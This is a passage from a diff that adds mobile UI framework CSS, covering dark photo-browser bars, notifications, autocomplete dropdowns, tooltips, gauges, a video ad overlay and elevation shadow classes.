rgba(30, 30, 30, 0.8); + color: #fff; +} +.ios .photo-browser-dark .navbar:before, +.ios .photo-browser-page-dark .navbar:before, +.ios .view.with-photo-browser-page-dark .navbar:before, +.ios .photo-browser-dark .toolbar:before, +.ios .photo-browser-page-dark .toolbar:before, +.ios .view.with-photo-browser-page-dark .toolbar:before { + display: none !important; +} +.ios .photo-browser-dark .navbar:after, +.ios .photo-browser-page-dark .navbar:after, +.ios .view.with-photo-browser-page-dark .navbar:after, +.ios .photo-browser-dark .toolbar:after, +.ios .photo-browser-page-dark .toolbar:after, +.ios .view.with-photo-browser-page-dark .toolbar:after { + display: none !important; +} +.ios .photo-browser-dark .navbar a, +.ios .photo-browser-page-dark .navbar a, +.ios .view.with-photo-browser-page-dark .navbar a, +.ios .photo-browser-dark .toolbar a, +.ios .photo-browser-page-dark .toolbar a, +.ios .view.with-photo-browser-page-dark .toolbar a { + color: #fff; +} +.ios.device-iphone-x .photo-browser-captions { + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.ios.device-iphone-x .toolbar ~ .photo-browser-captions { + bottom: calc(44px + constant(safe-area-inset-bottom)); + bottom: calc(44px + env(safe-area-inset-bottom)); +} +/* === Notifications === */ +.notification { + position: absolute; + left: 0; + top: 0; + width: 100%; + z-index: 20000; + font-size: 14px; + margin: 0; + border: none; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + direction: ltr; +} +.notification-icon { + font-size: 0; +} +.notification-header { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.notification-close-button { + margin-left: auto; + cursor: pointer; +} +html.with-statusbar.device-ios .notification, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .notification { + margin-top: 20px; +} +html.with-statusbar.device-android .notification, +html.with-statusbar.md:not(.device-ios):not(.device-android) .notification { + margin-top: 24px; +} +html.with-statusbar.device-iphone-x .notification { + margin-top: constant(safe-area-inset-top); + margin-top: env(safe-area-inset-top); +} +.ios .notification { + left: 8px; + top: 8px; + width: calc(100% - 16px); + background: rgba(250, 250, 250, 0.95); + border-radius: 12px; + -webkit-box-shadow: 0px 5px 25px -10px rgba(0, 0, 0, 0.7); + box-shadow: 0px 5px 25px -10px rgba(0, 0, 0, 0.7); + padding: 10px; + color: #000; + max-width: 568px; + -webkit-transition-duration: 450ms; + transition-duration: 450ms; + -webkit-transform: translate3d(0%, -200%, 0); + transform: translate3d(0%, -200%, 0); +} +@supports ((-webkit-backdrop-filter: blur(10px)) or (backdrop-filter: blur(10px))) { + .ios .notification { + background: rgba(255, 255, 255, 0.65); + -webkit-backdrop-filter: blur(10px); + backdrop-filter: blur(10px); + } +} +@media (min-width: 584px) { + .ios .notification { + left: 50%; + width: 568px; + margin-left: -284px; + } +} +.ios .notification.modal-in { + -webkit-transform: translate3d(0%, 0%, 0); + transform: translate3d(0%, 0%, 0); + opacity: 1; +} +.ios .notification.modal-out { + -webkit-transform: translate3d(0%, -200%, 0); + transform: translate3d(0%, -200%, 0); +} +.ios .notification-icon { + width: 20px; + height: 20px; + line-height: 20px; + margin-right: 8px; +} +.ios .notification-icon i { + width: 20px; + height: 20px; + font-size: 20px; +} +.ios .notification-title { + font-size: 13px; + text-transform: uppercase; + letter-spacing: 0.02em; +} +.ios .notification-subtitle { + font-size: 15px; + font-weight: 600; + line-height: 1.35; +} +.ios .notification-text { + font-size: 15px; + line-height: 1.2; +} +.ios .notification-header + .notification-content { + margin-top: 10px; +} +.ios .notification-title-right-text { + color: #444a51; + font-size: 13px; + margin-right: 6px; + margin-left: auto; +} +.ios .notification-title-right-text + .notification-close-button { + margin-left: 10px; +} +.ios .notification-close-button { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%2044%2044'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cg%20stroke%3D'none'%20stroke-width%3D'1'%20fill%3D'none'%20fill-rule%3D'evenodd'%3E%3Cpath%20d%3D'M22.5%2C20.3786797%20L14.7218254%2C12.6005051%20L12.6005051%2C14.7218254%20L20.3786797%2C22.5%20L12.6005051%2C30.2781746%20L14.7218254%2C32.3994949%20L22.5%2C24.6213203%20L30.2781746%2C32.3994949%20L32.3994949%2C30.2781746%20L24.6213203%2C22.5%20L32.3994949%2C14.7218254%20L30.2781746%2C12.6005051%20L22.5%2C20.3786797%20Z%20M22%2C44%20C34.1502645%2C44%2044%2C34.1502645%2044%2C22%20C44%2C9.8497355%2034.1502645%2C0%2022%2C0%20C9.8497355%2C0%200%2C9.8497355%200%2C22%20C0%2C34.1502645%209.8497355%2C44%2022%2C44%20Z'%20fill%3D'%23000000'%3E%3C%2Fpath%3E%3C%2Fg%3E%3C%2Fsvg%3E"); + width: 20px; + height: 20px; + background-position: center top; + background-repeat: no-repeat; + background-size: 100% auto; + position: relative; + opacity: 0.3; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.ios .notification-close-button.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + opacity: 0.1; +} +.ios .notification-close-button:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + width: 44px; + height: 44px; + margin-left: -22px; + margin-top: -22px; +} +/* === Autocomplete === */ +.autocomplete-page .autocomplete-found { + display: block; +} +.autocomplete-page .autocomplete-not-found { + display: none; +} +.autocomplete-page .autocomplete-values { + display: block; +} +.autocomplete-page .list ul:empty { + display: none; +} +.autocomplete-preloader:not(.autocomplete-preloader-visible) { + visibility: hidden; +} +.autocomplete-preloader:not(.autocomplete-preloader-visible), +.autocomplete-preloader:not(.autocomplete-preloader-visible) * { + -webkit-animation: none; + animation: none; +} +.autocomplete-dropdown { + background: #fff; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + z-index: 500; + width: 100%; + left: 0; +} +.autocomplete-dropdown .autocomplete-dropdown-inner { + position: relative; + overflow: auto; + -webkit-overflow-scrolling: touch; + height: 100%; + z-index: 1; +} +.autocomplete-dropdown .autocomplete-preloader { + display: none; + position: absolute; + bottom: 100%; + width: 20px; + height: 20px; +} +.autocomplete-dropdown .autocomplete-preloader-visible { + display: block; +} +.autocomplete-dropdown .autocomplete-dropdown-placeholder { + color: #a9a9a9; +} +.autocomplete-dropdown .list { + margin: 0; +} +.autocomplete-dropdown .list ul { + background: none !important; +} +.autocomplete-dropdown .list ul:before { + display: none !important; +} +.autocomplete-dropdown .list ul:after { + display: none !important; +} +.list .item-content-dropdown-expanded .item-title.item-label { + width: 0; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + overflow: hidden; +} +.list .item-content-dropdown-expanded .item-title.item-label + .item-input-wrap { + margin-left: 0; +} +.list .item-content-dropdown-expanded .item-input-wrap { + width: 100%; +} +.ios .autocomplete-dropdown { + -webkit-box-shadow: 0px 3px 3px rgba(0, 0, 0, 0.2); + box-shadow: 0px 3px 3px rgba(0, 0, 0, 0.2); +} +.ios .autocomplete-dropdown .autocomplete-preloader { + right: 15px; + margin-bottom: 12px; +} +.ios .autocomplete-dropdown .list b { + font-weight: 600; +} +.ios .searchbar-input-wrap .autocomplete-dropdown { + margin-top: -32px; + top: 100%; + background: #e8e8ea; + z-index: 20; + border-radius: 8px; +} +.ios .searchbar-input-wrap .autocomplete-dropdown .item-content { + padding-left: 28px; +} +.ios .searchbar-input-wrap .autocomplete-dropdown li:last-child { + border-radius: 0 0 8px 8px; + position: relative; + overflow: hidden; +} +.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-inner { + padding-top: 32px; +} +.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder { + color: #939398; +} +.ios .theme-dark .autocomplete-dropdown { + background-color: #1c1c1d; +} +.ios .theme-dark .searchbar-input-wrap .autocomplete-dropdown { + background-color: #171717; +} +/* === Tooltip === */ +.tooltip { + position: absolute; + z-index: 20000; + background: rgba(0, 0, 0, 0.87); + border-radius: 4px; + padding: 8px 16px; + color: #fff; + font-size: 14px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + line-height: 1.2; + opacity: 0; + -webkit-transform: scale(0.9); + transform: scale(0.9); + -webkit-transition-duration: 150ms; + transition-duration: 150ms; + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: opacity, transform; + transition-property: opacity, transform, -webkit-transform; + z-index: 99000; + font-weight: 500; +} +.tooltip.tooltip-in { + -webkit-transform: scale(1); + transform: scale(1); + opacity: 1; +} +.tooltip.tooltip-out { + opacity: 0; + -webkit-transform: scale(1); + transform: scale(1); +} +.device-desktop .tooltip { + font-size: 12px; + padding: 6px 8px; +} +/* === Gauge === */ +.gauge { + position: relative; + text-align: center; + margin-left: auto; + margin-right: auto; + display: inline-block; +} +.gauge-svg, +.gauge svg { + max-width: 100%; + height: auto; +} +.gauge-svg circle, +.gauge svg circle, +.gauge-svg path, +.gauge svg path { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +iframe#viAd { + z-index: 12900 !important; + background: #000 !important; +} +.vi-overlay { + background: rgba(0, 0, 0, 0.85); + z-index: 13100; + position: absolute; + left: 0%; + top: 0%; + width: 100%; + height: 100%; + border-radius: 3px; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + text-align: center; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +@supports ((-webkit-backdrop-filter: blur(10px)) or (backdrop-filter: blur(10px))) { + .vi-overlay { + background: rgba(0, 0, 0, 0.65); + -webkit-backdrop-filter: blur(10px); + backdrop-filter: blur(10px); + } +} +.vi-overlay .vi-overlay-text { + text-align: center; + color: #fff; + max-width: 80%; +} +.vi-overlay .vi-overlay-text + .vi-overlay-play-button { + margin-top: 15px; +} +.vi-overlay .vi-overlay-play-button { + width: 44px; + height: 44px; + border-radius: 50%; + border: 2px solid #fff; + position: relative; +} +.vi-overlay .vi-overlay-play-button.active-state { + opacity: 0.55; +} +.vi-overlay .vi-overlay-play-button:before { + content: ''; + width: 0; + height: 0; + border-top: 8px solid transparent; + border-bottom: 8px solid transparent; + border-left: 14px solid #fff; + position: absolute; + left: 50%; + top: 50%; + margin-left: 2px; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); +} +/* === Elevation === */ +.elevation-0 { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.elevation-1 { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-2 { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-3 { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-4 { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-5 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-6 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-7 { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.elevation-8 { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.elevation-9 { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.elevation-10 { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.elevation-11 { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.elevation-12 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-13 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-14 { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-15 { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-16 { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-17 { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-18 { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.elevation-19 { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.elevation-20 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-21 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-22 { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-23 { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.elevation-24 { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-0:hover { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.device-desktop .elevation-hover-1:hover { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-2:hover { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-3:hover { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-4:hover { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-5:hover { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-6:hover { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-7:hover { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-8:hover { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-9:hover { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-10:hover { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-11:hover { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-12:hover { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-13:hover { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-14:hover { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-15:hover { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-16:hover { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-17:hover { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-18:hover { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-19:hover { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-20:hover { + 